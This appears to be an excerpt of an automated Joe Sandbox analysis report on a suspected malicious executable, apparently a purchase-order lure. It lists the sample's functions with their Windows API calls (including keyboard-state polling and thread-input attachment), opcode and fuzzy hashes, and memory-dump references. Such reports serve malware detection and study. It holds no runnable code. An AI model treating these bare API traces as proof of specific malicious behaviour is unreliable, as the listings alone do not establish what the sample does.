                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1932665248-0
                                                                                                                                                                      • Opcode ID: 2f069d425a14989955c91583bf1eee78d18cf75f4644af0e6fd4452b58d9bd04
                                                                                                                                                                      • Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
                                                                                                                                                                      • Opcode Fuzzy Hash: 2f069d425a14989955c91583bf1eee78d18cf75f4644af0e6fd4452b58d9bd04
                                                                                                                                                                      • Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B
                                                                                                                                                                      Function 004480F2 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00448182
                                                                                                                                                                      • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00448185
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 004481A7
                                                                                                                                                                      • _memset.LIBCMT ref: 004481BA
                                                                                                                                                                      • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481CC
                                                                                                                                                                      • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0044824E
                                                                                                                                                                      • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482A4
                                                                                                                                                                      • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482BE
                                                                                                                                                                      • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482E3
                                                                                                                                                                      • SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 004482FC
                                                                                                                                                                      • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448317
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$LongWindow_memset
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 830647256-0
                                                                                                                                                                      • Opcode ID: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                                                                                      • Instruction ID: 69fd08a602074ed3d664547bad3ac5a94a9e6c02d61aa1d07dc3907ec7ad0976
                                                                                                                                                                      • Opcode Fuzzy Hash: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                                                                                                      • Instruction Fuzzy Hash: 41616F70208341AFE310DF54C881FABB7A4FF89704F14465EFA909B2D1DBB5A945CB56
                                                                                                                                                                      Function 0046EA7F Relevance: 16.7, APIs: 11, Instructions: 167windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                                                                                      • DestroyAcceleratorTable.USER32(?), ref: 0046EA9F
                                                                                                                                                                      • ImageList_Destroy.COMCTL32(?), ref: 0046EB04
                                                                                                                                                                      • ImageList_Destroy.COMCTL32(?), ref: 0046EB18
                                                                                                                                                                      • ImageList_Destroy.COMCTL32(?), ref: 0046EB24
                                                                                                                                                                      • DeleteObject.GDI32(00740000), ref: 0046EB4F
                                                                                                                                                                      • DestroyIcon.USER32(0043003D), ref: 0046EB67
                                                                                                                                                                      • DeleteObject.GDI32(1B77190E), ref: 0046EB7F
                                                                                                                                                                      • DestroyWindow.USER32(0000003A), ref: 0046EB97
                                                                                                                                                                      • DestroyIcon.USER32(?), ref: 0046EBBF
                                                                                                                                                                      • DestroyIcon.USER32(?), ref: 0046EBCD
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateRectTableWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 802431696-0
                                                                                                                                                                      • Opcode ID: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                                                                                      • Instruction ID: 42d633cefbe7d7192e7a113645d0a532909e6831d49db23f2259be933aabe8c6
                                                                                                                                                                      • Opcode Fuzzy Hash: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                                                                                                      • Instruction Fuzzy Hash: 17513178600202DFDB14DF26D894E2A77E9FB4AB14B54446EE502CB361EB38EC41CB5E
                                                                                                                                                                      Function 00444D52 Relevance: 16.6, APIs: 11, Instructions: 132keyboardCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetKeyboardState.USER32(?,?,?), ref: 00444D8A
                                                                                                                                                                      • GetAsyncKeyState.USER32(000000A0), ref: 00444E0F
                                                                                                                                                                      • GetKeyState.USER32(000000A0), ref: 00444E26
                                                                                                                                                                      • GetAsyncKeyState.USER32(000000A1), ref: 00444E40
                                                                                                                                                                      • GetKeyState.USER32(000000A1), ref: 00444E51
                                                                                                                                                                      • GetAsyncKeyState.USER32(00000011), ref: 00444E69
                                                                                                                                                                      • GetKeyState.USER32(00000011), ref: 00444E77
                                                                                                                                                                      • GetAsyncKeyState.USER32(00000012), ref: 00444E8F
                                                                                                                                                                      • GetKeyState.USER32(00000012), ref: 00444E9D
                                                                                                                                                                      • GetAsyncKeyState.USER32(0000005B), ref: 00444EB5
                                                                                                                                                                      • GetKeyState.USER32(0000005B), ref: 00444EC3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: State$Async$Keyboard
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 541375521-0
                                                                                                                                                                      • Opcode ID: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                                      • Instruction ID: c605e69a62dfc64c618b97cb3a1930d242a0674024be490a091b983f03ece729
                                                                                                                                                                      • Opcode Fuzzy Hash: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                                      • Instruction Fuzzy Hash: 6A41C3646087C52DFB31966484017E7FFD16FA2708F58844FD1C5067C2DBAEA9C8C7AA
                                                                                                                                                                      Function 00474335 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 308COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 0-2761332787
                                                                                                                                                                      • Opcode ID: 7d4a86683db9a09c2256a2266118b3ebdc040ee5a517fddb499b320ca0848e6c
                                                                                                                                                                      • Instruction ID: 1932890218e454eaab518c2d08cf67ea4bcb6b95680f1d85a47b5a5cee1eebd3
                                                                                                                                                                      • Opcode Fuzzy Hash: 7d4a86683db9a09c2256a2266118b3ebdc040ee5a517fddb499b320ca0848e6c
                                                                                                                                                                      • Instruction Fuzzy Hash: 99A1A1726043009BD710EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A
                                                                                                                                                                      Function 004507E7 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004508CB
                                                                                                                                                                      • SendMessageW.USER32(?,00001036,00000000,?), ref: 004508DB
                                                                                                                                                                      • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,00001036,00000000,?,000000FF,?,SysListView32,004848E8,00000000), ref: 004508FC
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00450944
                                                                                                                                                                      • _wcscat.LIBCMT ref: 00450955
                                                                                                                                                                      • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045096C
                                                                                                                                                                      • SendMessageW.USER32(?,00001061,?,?), ref: 0045099B
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$Window_wcscat_wcslen
                                                                                                                                                                      • String ID: -----$SysListView32
                                                                                                                                                                      • API String ID: 4008455318-3975388722
                                                                                                                                                                      • Opcode ID: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                                                                                      • Instruction ID: 786a3889ee88f98d9b0e9b4b0e1dacf7018a6923f31dd28eeaa3c07ad082d1a6
                                                                                                                                                                      • Opcode Fuzzy Hash: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                                                                                                      • Instruction Fuzzy Hash: 17519470504340ABE330DB65C885FABB3E4AF84714F104E1EFA94972D3D6B99989CB65
                                                                                                                                                                      Function 00448602 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 00448625
                                                                                                                                                                      • CreateMenu.USER32 ref: 0044863C
                                                                                                                                                                      • SetMenu.USER32(?,00000000), ref: 0044864C
                                                                                                                                                                      • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 004486D6
                                                                                                                                                                      • IsMenu.USER32(?), ref: 004486EB
                                                                                                                                                                      • CreatePopupMenu.USER32 ref: 004486F5
                                                                                                                                                                      • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 00448739
                                                                                                                                                                      • DrawMenuBar.USER32 ref: 00448742
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 176399719-4108050209
                                                                                                                                                                      • Opcode ID: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                                                                                      • Instruction ID: 98f94d81d6847d6484dd50bbdc77a0bd9f9f2d632c710d3394220f00cc789bef
                                                                                                                                                                      • Opcode Fuzzy Hash: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                                                                                                      • Instruction Fuzzy Hash: 86417675604201AFD700CF68D894A9BBBE4FF89314F14891EFA488B350DBB5A845CFA6
                                                                                                                                                                      Function 004691F4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
                                                                                                                                                                      • GetDlgCtrlID.USER32(00000000), ref: 00469289
                                                                                                                                                                      • GetParent.USER32 ref: 004692A4
                                                                                                                                                                      • SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
                                                                                                                                                                      • GetDlgCtrlID.USER32(00000000), ref: 004692AE
                                                                                                                                                                      • GetParent.USER32 ref: 004692C7
                                                                                                                                                                      • SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                                      • String ID: ComboBox$ListBox
                                                                                                                                                                      • API String ID: 2040099840-1403004172
                                                                                                                                                                      • Opcode ID: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                                                                                      • Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
                                                                                                                                                                      • Opcode Fuzzy Hash: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                                                                                      • Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9
                                                                                                                                                                      Function 004693F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 87windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
                                                                                                                                                                      • GetDlgCtrlID.USER32(00000000), ref: 00469483
                                                                                                                                                                      • GetParent.USER32 ref: 0046949E
                                                                                                                                                                      • SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
                                                                                                                                                                      • GetDlgCtrlID.USER32(00000000), ref: 004694A8
                                                                                                                                                                      • GetParent.USER32 ref: 004694C1
                                                                                                                                                                      • SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                                      • String ID: ComboBox$ListBox
                                                                                                                                                                      • API String ID: 2040099840-1403004172
                                                                                                                                                                      • Opcode ID: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                                                                                      • Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
                                                                                                                                                                      • Opcode Fuzzy Hash: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                                                                                                      • Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779
                                                                                                                                                                      Function 00448DAF Relevance: 15.2, APIs: 10, Instructions: 173windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 004419ED: DeleteObject.GDI32(?), ref: 00441A53
                                                                                                                                                                      • SendMessageW.USER32(75A923D0,00001001,00000000,00000000), ref: 00448E73
                                                                                                                                                                      • SendMessageW.USER32(75A923D0,00001026,00000000,00000000), ref: 00448E7E
                                                                                                                                                                        • Part of subcall function 00441A7A: CreateSolidBrush.GDI32 ref: 00441ACB
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$BrushCreateDeleteObjectSolid
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3771399671-0
                                                                                                                                                                      • Opcode ID: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                                                                                      • Instruction ID: ebbecaf0548398ae771b9aa28ebf0b72f134f9ffbbfb28b2279bd799396bd9e3
                                                                                                                                                                      • Opcode Fuzzy Hash: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                                                                                      • Instruction Fuzzy Hash: F4510930208300AFE2209F25DD85F6F77EAEB85B14F14091EF994E72D0CBB9E9458769
                                                                                                                                                                      Function 0046ECBF Relevance: 15.1, APIs: 10, Instructions: 101COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InitVariant$_malloc_wcscpy_wcslen
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3413494760-0
                                                                                                                                                                      • Opcode ID: 482f3b1f0bd705d72ebf0bcdddfb27694f63f3fe8f528a3bcd533af3ba5d9e97
                                                                                                                                                                      • Instruction ID: 77b59fa0745152fd1b6386ccdd9ca850b9b7f4abb66e551d88b584249de3d357
                                                                                                                                                                      • Opcode Fuzzy Hash: 482f3b1f0bd705d72ebf0bcdddfb27694f63f3fe8f528a3bcd533af3ba5d9e97
                                                                                                                                                                      • Instruction Fuzzy Hash: F83150B2600746AFC714DF7AC880996FBA8FF88310B44892EE64983641D735F554CBA5
                                                                                                                                                                      Function 004377B4 Relevance: 15.1, APIs: 10, Instructions: 97threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 004377D7
                                                                                                                                                                      • GetForegroundWindow.USER32(00000000,?,?,?,?,0045FDE0,?,?,00000001), ref: 004377EB
                                                                                                                                                                      • GetWindowThreadProcessId.USER32(00000000), ref: 004377F8
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 00437809
                                                                                                                                                                      • GetWindowThreadProcessId.USER32(?,00000001), ref: 00437819
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043782E
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043783D
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 0043788D
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378A1
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378AC
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2156557900-0
                                                                                                                                                                      • Opcode ID: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                                      • Instruction ID: cf5237ead9178137421241ba4763476990ac919c12b5de4495d1c20f4e3090f4
                                                                                                                                                                      • Opcode Fuzzy Hash: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                                      • Instruction Fuzzy Hash: B0316FB1504341AFD768EF28DC88A7BB7A9EF9D310F14182EF44197250D7B89C44CB69
                                                                                                                                                                      Function 0045F776 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 446COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
